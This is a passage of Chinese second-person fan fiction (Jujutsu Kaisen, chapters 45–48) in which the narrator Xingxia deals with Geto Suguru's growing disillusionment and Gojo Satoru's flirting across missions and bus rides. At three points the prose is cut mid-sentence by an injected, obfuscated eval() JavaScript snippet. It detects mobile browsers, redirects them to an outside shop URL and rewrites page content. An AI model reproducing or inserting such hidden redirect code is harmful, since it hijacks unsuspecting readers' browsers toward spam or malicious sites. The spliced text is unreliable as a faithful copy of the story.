“他杀了他。” “哇哦。”到底什么人会对着干掉自己的人托孤……“我该说他们一个敢讲一个竟然真的听了,吗?前辈,来都来了,你不介意说下去年到底发生了什么事情吧?上次五条前辈生气了,我也不想理他了。” 夏油杰眼里溢满了种种情绪,接下来,他为你简短讲述了去年夏天发生过的一段往事。 这下你明白了为什么那天五条悟会被冒犯到。 “真可惜,她的自由很近,但无法触及。”星浆体事件最大受害者天内理子殁于一把普通手枪:“但她至少是在对无尽未来的期许中死去的,如果这样说能让你好受点的话。就像卖火柴的女孩。”以及,你正好没看错伏黑甚尔这个望之不善的男人。 这是你们之间讨论的最后一句。 直到童心备具的套餐上桌,夏油杰叮嘱你趁热吃,你才慢悠悠从右手边拿起叉子。 “星夏,你在想什么?” “在想如果我真的追在他后面……谁会死。”听起来,伏黑甚尔不安全,甚至有些凶险。 “……”夏油杰没有瞧不起你的意思,但他表情就在说,这不是你该考虑的事情。 你也不觉得冒犯,勾起一个微笑就半真半假对他坦白:“我那天在小巷杀了个人。确实也被瞧见了。” 如果是两个月前,夏油大概很难相信,可中间过去了这些时间,发生了那么多事,你颠覆了他对你得到大部分印象。 因此他神色庄重询问你:“真的吗?” 你用叉子涂抹匀了红彤彤的番茄酱:“它搭配黄色的蛋皮,看起来就很好吃了。当然是真的。前辈,时间还没过去很久,这仍然是可以追溯的旧事。如果不是你们提起的那个名字,我应该早就把它忘了。” 忘了什么?忘了死在小巷的人,还是忘了伏黑甚尔。 夏油杰没问你,他在桌下握住你的手,掌心冰凉,远不如你的手像炉火一样。 他说的很慢,极认真:“星夏,我不问你为什么,我相信你有你的理由。只是,以后不要再做那种事了好吗?” “好,我答应你。”你轻飘飘地拿开手,拣起一块开了花的香肠喂入口中。 夏油杰不应该那么相信你的,你想。 只要他多问两句,多再探究一点…… 可怜的传说中的遗孤,这个话题第二次被抛下。你们回高专的时候,踏着晚霞,沐浴残阳,抵达宿舍后,你心无旁骛地回到被褥中沉沉睡去。 第二天你才忆起了久缺睡眠的后遗症。 一个是忘记给手机充电,第二是错过了很多信息,第三是被五条悟直接隔门叫醒。 你在开门时穿着的还是昨天的旧衣服。 “前辈,声音小些,我听得见。”你开门时还在揉眼睛犯困。 “睡睡睡,你就知道睡。”五条悟的声音总是活力满满,你甚少听见他低沉,从没听出过哀伤,而他和同期的咒术师承担了比职业工作者更多的工作量。 你偶尔会好奇每个月打到他卡上的钱,到底有多少。 你又打了个哈欠,漫不经心抹去了眼角的污渍:“有什么事?除了任务。” 五条忽然凑得很近,但他开了术式,再近也难以触碰:“我听硝子说,晚上不卸妆就会老得很快,还会长皱纹哟~” “随便。就这一张脸,由她来吧。”你从他和门框的缝隙中挤了出去,对阳光照耀下的另一个人打了招呼:“夏油前辈早。” 然后你当着他们的面在小屋旁的洗手池旁漱口,水声和拧开关好龙头的声音暴露无遗。 “走吗?”做好一切也不过十几秒钟。 五条悟在你后头大喊:“就这样?你都不刷牙吗?” “……”他不捏鼻子已经是莫大的尊重,而你只想到车上再睡一觉。 今天,你倒在巴士的最后一排,那有很长的一排椅子。 “有那么困吗,杰,你昨天带她干嘛去了?” 你闭着眼睛回答:“吃了蛋包饭,扭了扭蛋,最后我们被一个绿色的大楼拦下--” 夏油打断了你:“星夏,这种事情就不必说了,而且我们只是路过。” “唔,好。辅助监督在哪里等我们?”你没等到他们的回答,就在椅子上睡着了。 醒来以后,你看见了岩守。 “……”侵占尸体是什么罪名来的?总监部什么时候才能把她抓起来。 你是双面人,你对她微笑:“日安。” 在上午的任务后,辅助监督解除帐时提出可以送你们回去,谢天谢地五条拒绝了她。他说:“我饿了,要吃饭,星夏也想和我们一起吃的对吧?” 当然,你同样非常遗憾地拒绝了她:“不要紧,公共交通十分便利。今天下午我们也能自行前往,谢谢你。” 五条悟因为你的客气和礼貌多看了你两眼。 你在午餐时果然被问到那个问题:“是我的错觉吗,还是你确实对岩守女士态度不一样。” 叙述者语调平直,与你对视时也坦然自若。他心里有八分肯定,现在说出来只是希望你给更多说明。 打草惊蛇等于自掘坟墓,你才不像小朋友一样沉不住气。但仍然点头就给予肯定:“我讨厌她,希望她早日退休,最好不要出现在我面前。没有理由,我偶尔也会因为不存在的事情厌恶别人的,说起来无从开口,因此也不希望被她知道。” 五条悟:“你还真是奇怪,能清醒的认识到这是你自己的问题。” “自我审视也是做人的一环。”你的余光瞥见了坐在旁边一直没说话的夏油杰,他的脸埋在阴影中,不知道在想什么。于是你拉扯他进入话题:“夏油前辈,你一直在分神,怎么了?” 从愣怔中回过头来的夏油告诉了你们一个今早他在知道的消息,从下周起,他和一直以来的搭档就要暂时分开执行任务了。“因为我们是特级,另外的唯一一个据说是在国外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13789283|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听夜蛾老师说她的个性让高专有点头疼,也不打算回来的样子。” 你点点头,就开始分析起来:“果然所有人都觉得你是特级里比较好说话的那个呢。” 就你的社交经验来看,却似乎不是那么回事。 “星夏,话不是这么说的吧。”夏油有反驳,但毫无气势,“应该不久就会和悟谈了。” “分开?那你怎么办?”五条悟看了你,“你跟谁走?” “我觉得我可以不走。这两个月有人教我什么吗?”你认为这是个好契机,是时候回归属于你的快乐祓除三四级阶层了。 你的老师一号被冒犯:“什么,你是说你和我们一起的任务时间完全被虚度了吗?你有没有好好学?!” 答案唯一而肯定:“无。” 这是五条悟对你说过最认真的一句话,看起来是这样:“……跟着我,无论如何一定让你在今年晋升一级!” 你连忙尊称一句:“五条老师。” 然后你拒绝了他:“不要。我选灰原和七海。”关于被抱怨的事情你还记得。 那就发生在昨天。 他撑着桌子站起来:“……你就没有一点舍不得吗?” 你喝一口奶昔:“舍不得的情绪就留到真正的离别好了。比如等你毕业,前辈,我会为你哭的。夏油前辈,我也会为你哭的,分别哭两次也行。我的泪腺很好。” “是毕业不是葬礼!你舍不得就只知道哭吗?” “哭就不用了,以后成为咒术师的枢纽还在高专。我们会经常见面的,再说,还有三年。” 你不得不一个一个回答他们的话:“我舍不得的时候经常会不说话。这不是随前辈们的意愿来,我以为你们偏好热闹点的。”“说起来下个月我也是二年生了,时间真快啊。” 五条悟脸色臭臭的:“那你也还是我的后辈。这么说来,你现在话说的很利索,杰还知道有点难过呢!” 夏油对挚友的话提出了质疑:“别的我没什么意见,但什么叫做【杰都知道】?” 出行人事变动算不上什么大事,你依旧坚持自己的观点,但好在他们都在彼此的分歧里纠结,慢慢转移了话题,最终直到回去,没人再提起这个。 晚上,夏油在你们分开后的10分钟内给你发来了消息,此时你正在对着墙上贴的镜子卸妆,虽然不会长皱纹,也不会因为这种荒谬事变老,但你得到了足够的休息,不介意在这方面花点时间。 夏油杰:方便来找你吗? 你回复:可以。 等他到来的时候,你已经又在门口的龙头弯腰洗净了脸,拧干了毛巾挂在手臂上。 “好久不见。”你是故意这么说的,揶揄他:“你是特意不想被五条前辈看见所以才这样的吗?” “……” “真刺激。” 他无奈地叫唤你的名字:“星夏。” “嗯?” “昨天,你的礼物,我回来看到了。很漂亮,谢谢你。”在那之后他话音一转:“然而……它太珍贵了,我--” “你要把它还给我吗?”你朝夏油歪了歪头:“不珍贵,合金、不要钱的石头、黑曜石、人造水晶,我自己做的,我当然清楚。” “不是,星夏,我的意思是,它太不寻常。你不应该这样挥霍--自己的能力。”他此次前来是为了提醒你:“我很喜欢,但是下次别这样了。” 这就更稀奇了:“你会把它到处拿去展示吗,前辈?” “我当然不会,但是至少悟就看见了。你还记得自己有个秘密要保守吗,星夏。” 你想,也许是五条又找他说了些什么。不是什么大事。 冲月光下杞人忧天的美少年摆摆手:“你喜欢就好,紫色很配你。你可以把它放在……哎呀,老实说我做的时候没想这些,但我总以为你有做钥匙的潜质,夏油,你还是有点擅长撬开别人的嘴的。” 你没加前辈,最后的话在月亮下又有些暧昧。他红了脸。 “这算什么评价。”他垂眸看你,眼里有流淌的紫色伤口,如一扇洞开前往灵魂的门扉。 你直面他的眼睛,确凿无疑:“是好评。” 46.第 46 章 在那之后,你短暂的陷入了无所事事的状态中,为此还和灰原七海重联了几天。 年长了一岁的同期学会了抖机灵:“就像双亲闹离婚的时候不知道该让孩子跟谁。” “灰原,不会讲话可以不要讲。”你呼吸初春的空气,是万物复苏的馨香,随手碾碎了一个脚边的咒灵。 “喂,铃木,你这是怎么做到的?”他像发现了新大陆,“只有咒灵消失了,可石头-甚至水波都没有变化!” 只是随手的咒力操控而已,你抬起手瞅了两眼,确认无事发生后,认真告诉灰原:“我变强了。” “喔哦哦!”他信了,“是和前辈们一起学的吗?” 给别人贴金那你可就不高兴了,你强调:“不是所有事情都和他们有关系的。” “但你一定是收到了他们指点,或者跟在身边潜移默化地学会了很多,就像之前和硝子前辈那样,对吧?” 绝无此事。硝子的教学水平和他们比绝对是超高校级别。 身边有个前辈迷也是苦恼,你抬眼看七海,他只留了一个背影给你,摆明不愿意加入。 你只好自己解决问题:“换个话题,如果让你在前辈中选一个见习,你会选择--” “100%夏油前辈!” “那他确实还行,不过你就别想动手袚除了,事后写写报告,中间定个餐。”你回忆一下他不让你动手的务实但过度保护风格:“夏油前辈是比较关心后辈的那种,太关心了。不如七海。” “……”七海的肩膀动了一下,但没回头。 “五条前辈呢?” “你可以回忆一下你和他的日常相处点滴……”你试图引导灰原,不过在他清澈如溪水的眼光中你很快败下阵,揭晓答案:“好消息是可以吃很多好吃的,还不用付钱。五条前辈请我吃了挺多饭的,有的时候七海的面包和你的高端便利店盖饭都是他付。” 灰原垮下脸来:“……铃木,你和我说是你请客。” “怕你吃的有负担,别在意,我对五条前辈也宣称是自己吃。虽然如此他或许看得出来,你知道的,他其实有点细心。偶尔我也能跟在后头袚除几个被剩下来的三四级。”你觉得自己简直是高专平账大师,说起来你已经【吃掉了】金额以万为单位那么多的面包和快餐。 “坏消息呢?” “不太坏,但和他在一起有点累,要听很多话,我不乐意动脑子。”而五条有的时候能看出你敷衍,然后你不得不费更大力气敷衍生气的他。你客观评价:“如果是灰原你的话应该不太能理解我在说什么。” 但七海一定懂。 你叹了口气:“还是你们好,一个内敛稳重,一个活泼单纯。”那个谁谁谁和不高兴…… “铃木,我总觉得你不是在夸我们。” 你嗨了一声:“瞎说什么呢!” 再之后,你被指派一周跟在两个前辈身边分别进行一次任务。剩下的时间里,你有时和硝子在医务室消磨--你的反转术式愈发精进,有时和灰原与七海一起行动。 开春后的地震比往年频繁,任务也繁琐起来,但你还是见到了自己的一个……后辈。 他叫伊地知洁高,看起来很会写公文的样子。 是作为未来的辅助监督入学的。 至于其他的人,你没有印象。 “所以你记得他的唯一原因,是因为他看起来很好欺负?星夏,你太糟了。”现在,五条悟喜欢先你一步霸占靠窗的位置,并且强迫你坐他旁边。如此,他能随便捏到你的脸也是寻常事。 你是不太介意肢体动作的,但对拉扯感敬谢不敏。 五条正是看准了这一点,他这个人聪明的很,知道这能引起你的反应。 你拍开他的手,牵着一路放在他岔开的腿上:“你第一次看到我的时候在想什么呢?很欣赏我吗?或者这么说,你和夏油还有硝子前辈是怎么说起我的?” “那肯定是--”你的接连三问让他陷入了道德困境,他意识到自己先前一点也不看好你。你们都知道这点,但过去了的时间似乎让他记不清楚了。 如今骤然回想起那个时候,五条心虚了。他刚说过你【太糟了】 你打定主意不说话的态度让他不得不开口:“我们就不能把过去的事情都放在一边吗!” “这里是市区,你声音太大了。结果你还让我坐在外面,被别人指指点点。”早知道就不该穿校服,现在乘客谴责的目光都在你身上。 有个中年人还啐了你们一口。你现在是脾气好了,只盯着他看了一路,放在以前…… 罪魁祸首下车以后还试图把事情推到你身上:“都怪你和我出去的时候还在讲别的男人。明明只要看着我就好了!” “……前辈,你最近在玩什么游戏吗?”他说的话你只在网上看过类似的,情境就不细想了。 “诶,星夏你不喜欢这样啊。那我下次换一种。”五条变回了寻常的自己,但依旧说着不着调的话:“武士类型的?我想想【果然还是最喜欢你的笑容了】……呀,看你的表情似乎也不是呢。” “喜欢硝子前辈那样会喝酒的。”你给他指了一条明路,“任务完成我们就去便利店痛饮吧。11.3的气泡饮料勾兑伏特加,再买50元的冰杯。” 五条听着也有兴趣:“然后呢?” 但你知道,他不会再喝酒了。 “明天就把你卖给诅咒师。你是个坏孩子,中间忘了,诅咒师都是大灰狼。”你恐吓他,不太真心,下一秒邀请他吃炸物的样子明显真诚许多:“今天吃天妇罗吗” 他盯着你看了一会,泄气的样子比之前的演出都可爱许多:“你只有在说起吃东西的时候才比较好懂。” 你露出一个真实的微笑:“姑且我也是个女人呢。” 五条悟恶狠狠地拍你的手背,补充:“还有开恶劣玩笑的时候也是!” 双重标准,这事情到底是谁先起的头啊,你另一只手指尖掠过手背,捂住它。 这些往来的对话隔一周要上演一次,也就是,几乎五条悟和你任务的每一次。看样子他很珍惜和你的每一次出行,偶尔你因为偷懒想直接回去还会被他谴责没有责任心。 不过和他一起的出行大体还算轻松,也许,他就是一个看起来游刃有余的人,任何人和他一起都会比较轻松的。 不过夏油杰作为老搭档似乎有其他的看法。 他会关心你是否跟得上。 “倒也说不上这点,反正每次不都是五条前辈冲上去,我在旁边吃零食,然后再去吃一顿饭的事情吗?用不着跟上。” 这句话不尽然为真,有时,你们除了吃饭还会做别的事情,但你被叮嘱过【不许和别人说】,于是有了如今的版本。 夏油杰的黑眼圈愈发重了,你递给他一颗糖果,他掌心摊开无条件接受:“这么说来,你过得不错。” 你的手指在他掌中多逗留了一会,转了一个圈又拿起糖果,剥开:“主要是没有同辈竞争压力。” 他于是接过了被你贴心准备好的糖果,顺从地放在口中,那一瞬间的表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13794842|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是爆发的疲惫,还是放松?你无从得知。 “被你看出来了呀,星夏。” 在夏油杰这边,你也没什么动手的机会,伙食不错,但你们比起开玩笑,更注重有来有往的聊天。至少你会跟着他的主导来。 “什么都没发现,你在说什么?” “悟是最强。”他这么对你说。 “嗯?” “就算这样,我也不想被甩开太远。”夏油杰说话的时候对你露出了楚楚可怜的笑容,但他本人一定会强势否认你的观感,他接着问你:“那和悟在一起会轻松许多吗?” 五条悟一向都是更扎眼的存在,但夏油也同样不容忽视,不仅是你,你相信硝子也会给出一样的结论。 “那还是在宿舍里最轻松。我不在乎这些,前辈。所以他们困扰不到我,也不让我变得脆弱。我已经过了要跟在谁后头的阶段,至于你……难道是和五条前辈的分离焦虑?” “……没有。” “唔,我以为你怕寂寞呢~” 他捂住了脸,可以想见这是陷入后悔开口的情绪中:“你现在说话真的越来越像他了。” “而你真的很要强,前辈。”夏油有一双不逊于五条悟的紫色眼睛,合眼时黯淡得像快陨落的群星,也许是出于压力,但再次睁开时,紫色的、几乎能令人昏聩的光就在逼近,形容为风情万种也不为过。 可以这么说,挣扎让它像葡萄酒一样愈发浓厚迷人了。你也会迷茫于,一个17岁的少年会有这些需要担心的事项吗? 他在想什么呢?总不至于真的是无聊的担心被超过太多。 等到他打算自我揭晓的时候,你会知道的。 那天的任务是在山里,你摘了一朵樱花,还没到它们扑簌掉落的时点。但你确信,山樱比随处可见的更好看:“晚樱压枝堆春雪。下次再看恐怕就要等明年了。” “听起来很优雅,是你最近读的书吗?” “不是,随口想起来不知道在哪瞧见的了。”你松开花枝,顷刻它向反方向弹去,又抖落不少脆弱不着枝的花瓣,下了一场小雨,落在你衣服上。 “我最近忙着睡觉,任务确实多了不少,伤员也是。” 夏油杰也帮忙拂去你肩头的花瓣,以平常的语气继续搭话:“气象学家说又是气候反常的一年。” “希望有钱人也能学会节水节电。”你深知自己一年的花销比不上谁谁谁的一趟私人飞机出行,但你也知道他们学不会,于是乎你说:“碳排放的问题等水电上涨就好了,现在--不地震一切好说。” 说完这句话的第二天,你就被派去和同期两名学生一起去待命了。 因为有一场地震在关东地区发生。 造成了城镇的小规模损伤,还有不幸的个位数伤亡以及受伤人员若干。你们要去做一些简单的现场清理工作。 清理的对象自然是新鲜产生的咒灵。 它们往往很弱,但数量不少,当下不排查的话总会增加以后的工作量,而且低级咒灵总能造成心绪不宁和身体疲惫,这里又是经济受到影响的地方…… 这个任务非常符合你的胃口。但颓废的氛围和萧条的场所不适合说笑,今天你们三个人都很沉默。 21世纪,面对难以预测的自然灾害,无论是普通人还是咒术师走只得束手。 灰原是最牵挂家里的同学,你听见他在回去后就和双亲通话,要求定期更换家里的赈灾备用物资,从压缩饼干到消防器材。 “安全,是最重要的。”他这么说。 47.第 47 章 4月时候,你们忙到没什么时间聚餐,作为唯一一个和三年级还有二年级都关系不浅的人,你看的出来五条是处理事情最得心应手的一个。 他还和你炫耀:“夜蛾老师问我会不会太忙,我说完全没有。等你到一级能独立任务的时候,你就知道前辈我有多厉害了。” 那还是不要知道为好。 你的接受能力有限,最好是上午九点出发以后一个,下午两点出发以后一个,再多就没空生活了。 不过,你终于问出了那个问题:“五条前辈,一个月高专大概会给你打多少钱?” “完全没看过。”他还做了补充回答:“反正花不完。” --花不完的绝对不是高专的钱吧! 你又在一次同行的任务中去问了夏油杰,排除干扰因素,没听说过他家里会额外投入经费。 他对金钱也很淡薄,不过态度你更能接受:“这个么……我没有去核对的习惯,不过今天结束后我们可以找银行看一看。星夏,好奇特级的薪水吗?” “有点。”现在,加入咒术师网络中的你,已经习惯只靠这些钱过日子了。 习惯真是可怕的东西,不能想做什么就做什么,而你意识到了自己的适应,才更觉惊奇。 “星夏大概是多少?” “……其实我也不太清楚,但是没钱的时候它会提醒我的。” “你啊。”夏油无奈,“这点倒是还和以前一样,不过我还是要提醒你,就算收入稳定也要注意储蓄。” “我不。”年纪过了100,想做什么就做什么吧。 网上说的。 今天的任务又遇到了一点问题。 “为什么你的总是到很远的地方?”下山的时候本该接应你们的辅助监督被派去了其他地区,你和你的倒霉前辈要想办法回去。如果是在市区,公共交通也不是不行,但这里…… 你不得不和夏油杰去城镇打听公交站台的处所,下一班巴士排班在一小时后,也是本日最后一次。 “回去要一小时,而且只是到市区。”他给你带回新鲜的消息,但信息太过冰冷。 你的不满愈发加重:“……有种管杀不管埋的草率感。” “哈哈哈,别这样说,星夏。晚上我们在市里吃点东西,我请你。想吃什么?” 夏油是知道应该怎么安抚你的,你的选择是:“盖饭、盖饭、盖饭。” 镇子上负责接应你们的部门也有还不错的人,送了热茶和糕点,他们还提议稍后送你们去乘公车,被夏油杰拒绝了。 你们在微风中步行,聊起了刚才的任务。 先是你开的头:“含蓄内敛好客的一村人,居然害怕出了两个山里的一级。怎么不算人不可貌相?” 夏油像是见怪不怪了,他总结出了一套地域特征:“靠近山和湖海的地方,总是需要留心些。如果是人迹罕至的地区,恐怕对普通人更危险。” “说的是呢,之前误入深山的人恐怕要自求多福了。”很难说,实际上他们应该都不在了。“希望下次这种任务分配给更适合的职业人士来。对于自然的种种恐惧,真是从古到今都不会变的课题。” 幽深山林,茫茫海洋,还有脚下的大地。 你随口的牢骚引起了心思细腻的人的更多思考,他在想了一段时间以后问你:“星夏,那你觉得应该怎么办?” “……怎么也不是我们能想出办法的问题。所以听信自然选择?”纸包不住火,但可以拖延时间,你说起了总在冠冕堂皇的场合听见的话,难掩笑意:“相信后人的智慧?” 也许,某一天,至少民众可以不那么害怕,消解崇拜,缩减信仰,说不定呢?你不负责任地想。 “笑得这么开心,你自己一点也不买账吧。” 路上下起了小雨,淅淅沥沥的,夏油杰本身是不带伞的,但今天受上午的辅助监督建议,说是傍晚这个地区有概率降雨,他于是从车上带了一把。 现在刚好派上用场。 夏油撑起了黑色的商务伞,手握在分量十足的实木手柄上,而你在他举起手臂后钻到了伞叶的下头,阴影盖住了你和他。 你的手伸出外面,接雨点:“只是觉得很有趣。”不管是为咒灵的存在,还是为夏油杰的担忧。 他看起来又在努力关心普通人了。 他没再说你,一时间,天地间似乎只有风摩擦布料的声音,还有雨点被风驱使拍打伞面的哗啦啦声,一直不停,一直不停。 过了一会,他微笑着看你,告诉你春天的雨落下声音令他想到掌声。 你说哦。 他眼里有苦涩的笑意:“你就没别的想说的吗?” 难得前辈需要你的思考,你就动了动脑,告诉他:“这个比喻好就好在让我想到古代曾有人把大雪纷纷比作天空撒盐。” 怎么说呢,虽然是以一则笑话和垫脚被记录在故事中的,但它真的像啊。严格来说落雨和掌声也是有相似之处的吧。 “……不是说这个。”夏油杰叹了口气,“我想到了之前盘星教的事情。” “嗯?你也去过那里吗?话说前段时间还有慈眉善目的人给我发传单呢。我想看看来着,然后被灰原和七海拉走了。”你很遗憾,虽然你偶尔才做坑蒙拐骗的事情,不过如果能与时俱进……可惜同期都是大好人。 “……” “他们居然还没解散,对于一个过街老鼠来说也是有点了不起的。”你这么说,“可能因为资金雄厚,信众比较虔诚,因为现实生活缺点指望所以在风雨飘摇的时候还能紧紧依靠彼此度日吧。说不定教众在抱团中感应到了自我的高尚。” 你讲话太过具体,夏油杰都忍不住怀疑你以前经历过什么:“你是有相关履历吗?” “哪有,我只是知道人总要活着的,无论如何他们都要找个心理上的安身之所,要一个接纳自己的地方。”宗教,酒精,还有一些能让人飘飘欲仙的上瘾品……总是这样的。 “还真是……”他的步子慢下来,你伸出的脚就不可避免淋上雨滴,这时你扭头瞧他。 “怎么了?” “星夏。”他喊你的名字,双腿像发条一样被你疑问唤醒,又咯吱咯吱开始行动,只是机械一样干涩不协调:“你让我觉得有点难堪了。” 你印象中夏油没有这些不良嗜好,于是发问:“何出此言呐?” “我……”他却不打算说了。 这怎么行,你握住他手上的伞连带握住他的手背:“前辈,有什么事情都可以说哟。” “你是想对我用那一招吗?”他的关节紧了紧,也许贪恋你的温度,也许只是顾忌你的身体被淋湿,他没缩回手,只是问你。 反而是你出于避嫌的原因松开了手,纵然你的能力从没有接触方面的硬性指定。“你有点过分警惕。不过这也是好事,有的时候觉得你和灰原一样笨笨的,轻信。” “喂喂喂,星夏。这样说不对吧,好歹我也是前辈。”他说完以后才反应过来,他最该扭转的是你的印象,于是又开口:“为什么你要这么看我,和灰原。” 可想而知这没什么信服力。 紧张的氛围消散了,你没打算蛊惑他,在平安夜的那天之后,他的黑眼圈哪怕再深,也没再拜托你。你知道夏油多少会有些在意。 总的来说,你还是相当尊重他本人意愿的。 你坦白:“我只是想□□你啦。” “……” 你坦然:“现在看起来是失败。” “……”夏油杰压低了伞,这下你只能看见伞下的他而不能瞧见背后的光线了,眨眼间你就被他结识的身形贴近。你的鼻子撞进他带着寒意的校服外套,他方才把大部分的遮挡倾斜向了你,现在他的外套这边透着潮气。 干净寒凉的气息窜到你鼻尖,你嗅到了一种海边悬崖的孤寂。他很孤单吗? 这不好说,但眼下,夏油杰另一只带雨珠的手托住你的下巴。你抬头,坦坦荡荡看着他,眼里头一点情意也无,只有好奇和关心。 你能感觉到他的指尖拂过你的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13802285|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,掌心贴着你的脖颈,他从身体和姿态中都散发出对你的喜欢,还有如同春雨一样挥之不去的忧郁。 “也许成功了。” 他放开了你,同步说出这句话。 夏油抬高了伞,你又能在光下看他了。 现在他像和煦朝阳一样浅笑,轻飘飘地和你诉说了他的烦恼:“我只是越来越觉得丧失意义,自然灾害和咒灵让我不确定是否还能坚持的下去。如果成为咒术师失去了意义,我要去什么地方找寻?” “从银行卡余额找寻。”这是一个大部分人还在为钱工作的年代,夏油杰的意识还和圣诞节那会一样超前。 可能要伴随一整个青春期,你推测,就像春天到夏天的雨季。 这个时候,你还不知道这小子是来真的。 “哈哈哈,像是你会给的答案,星夏,你不会迷惘。真羡慕啊。” “你也是饿狠了。”什么都羡慕得上,你对他失望摇头,试图洗刷他的刻板印象:“放弃是所有人随时都会做的事情,虽然能摆脱困境,但也胆怯。你有没有试图去战胜它?是不是竭尽全力?中间忘了,就算到了难以忍受的地方你也可以选择坚持下去,这样它或许才有价值。” “所以……如果你累了你可以多休息,少考虑这些无解的命题。”价值本来就是人赋予的,生活本来也毫无意义,多想无益。 夏油杰的反应甚是平淡,你能从中看到他的不满:“这算是斥责吗?也太不客气了,星夏。” “不是,这是《钢铁是怎样炼成的》。我刚在背诵,最后一个多请假是我想的。”你以为追求价值和意义的人会比较吃当头棒喝这一套。 现在你却知道了,夏油杰有点过敏。 他的情绪假面总被你打破:“……” “你看起来很好奇我为什么要读这个。这就不得不提到一桩趣事,我不怕你笑话,前辈。”你说了点转移话题的好事。“1月我尝试冶金,俄国人的名字长溜溜的,封面有人打铁,书名又是这个,它被当成教科书夹在我的一众文书中。” 大家不得不承认,再无趣的小说也比数字和教程有趣得多。而且……烈火真金的道理想必也能运用于大潮下的文学作品,不管怎么说,坚忍的战士比易变的流兵更得敬意。 你希望他多推脱工作,少费心思考的事情是真的,不过看样子夏油杰并没当回事。在车上,他将散挂在前排座椅,绅士地让你先坐靠窗位置。 你看见被细雨打湿的他的裤腿和肩头,先踮起脚抹去他脖颈间的水滴:“多谢关照,夏油前辈。” 靠得太近了。 夏油杰站得很直,但你意识到,只要你想,你可以让他变得柔软,怎么样都好。 说起来这倒是对你的一种诱惑了,幸好,它不那样强烈。你应当克制又真挚地表达谢意,你这样提醒自己,因此接触也稍纵即逝。 今天你们已经用完了所有聊天的额度,在车上,你从雨珠在窗外蜿蜒,到水痕被吹干只剩下一道灰色的污渍遮挡视线,到天光减暗,都不再说话。 直到夏油杰的太阳穴搭在你肩上,直到你们坐到最后一站…… 后来,你们也没去成银行,也许改天吧。 “星夏,你应该喊我的。”所以到了晚上你们还在外面等车,平白无故又多走了一段。 你也很想回去,但还是眼睁睁看着人多又人少,一站又一站。你也不明白为什么任由一个几公斤的重物滞留你肩头许久。 最终你要说的话化为一句目之所见的事实:“看你难得睡得很熟,几次刹车和乘客都没醒来。你累了,前辈。” 他目光动容:“……谢谢。” 等到了高专的时候已是月上中天,夏油杰再次对你表达了感谢,除此之外,他还告诉你:“星夏,你的身上,有很好闻的气味。” 你告诉他:“你也是。” 然后你们彼此在一步远的距离凝视了一会对方,他率先控制不住自己,转身落荒而逃一样快步走开。 夏油杰把伞落在了你门口。 48.第 48 章 你仿佛置身于一个河流入海口,左边是波澜不惊的同期跑腿打杂,右边是压力骤升的特级四处奔波。 后来你瞧见了五条悟的储蓄卡流水,确实是流水,一串串数字流水一样汇到他的储蓄池中。他人的财富在你眼中刺挠得像针尖。 “不想再看了。”你像遮住输密码的手一样遮住了上半张脸,也给自尊心裹上纱布。 感慨风浪越大鱼越贵。 “诶,你大概有多少?”五条悟对你伸出手,想辅助你检查下你的钱。 “不看了不看了,就是三级的钱到二级的钱,你回想过去就好,前辈。”你对羞辱自己这件事情早就没有兴趣了。 可五条悟像戳鼓气的河豚那样伤害你,他只觉得好玩:“那我不知道,我进高专就是一级。” ……你和这种天生就预定顶点观光席的人很难搭上话,即使你比他虚长许多年。 “怎么了,难过了?你在哭吗?”你撇头不去看他,五条就凑过来朝你的耳朵吹风:“没关系,一级才是咒术界的中流砥柱,你会有一天晋升的。” “我才不会为了这种事情掉眼泪。”你反手推他的脸,然后掌心被湿润温软的触感掠过:“……” 你收回手,后退一步看他。他像无事发生一样点评:“护手霜吗?有点苦。” “五条前辈,这有点过了。” “我也不是有意的。”他走近一步,再近一步:“都只不过是,运气使然。” 你说:“哦。” 他问:“那我能亲你一下吗?” 你不至于因为这点小事动摇,步履稳健:“不能的。” 在晚上回程的巴士上,他侧倚在你的身上,认真玩你的长发,这段时间它又长不少,已经垂到了后腰。 “星夏,你不嫌我烦吗?” “还好,你别拽就行。”你说的是头发。 他的下巴又靠上来,被你肩头的披发滑得差点搭不到。小声的嘟囔尽数传到你这里:“我又不是小孩子。” “当然不是,你都会伸舌头了。” “……” 过了一会,他正坐在你旁边,也不靠在你身上了。 你就是在这个时候和他提起了前两周夏油杰的小状况。你问他:“你最近和夏油前辈关系还好吗?” “嗯?” “这段时间,他看起来有点累。”你提了一嘴:“怎么样才能申请别总把他往山里送呢?” “你在关心他?”五条悟声音拔高了一个度,“你跟我在一起的时候为什么还想着杰?” “因为你们是朋友,而且关系不错?” “何止不错,他是我唯一的朋友--但这样,我是说那你也不能……他喜欢你!你怎么可以随便关心一个你根本不打算交往的异性?”他这会对着你小声咆哮,指责你的界限感。 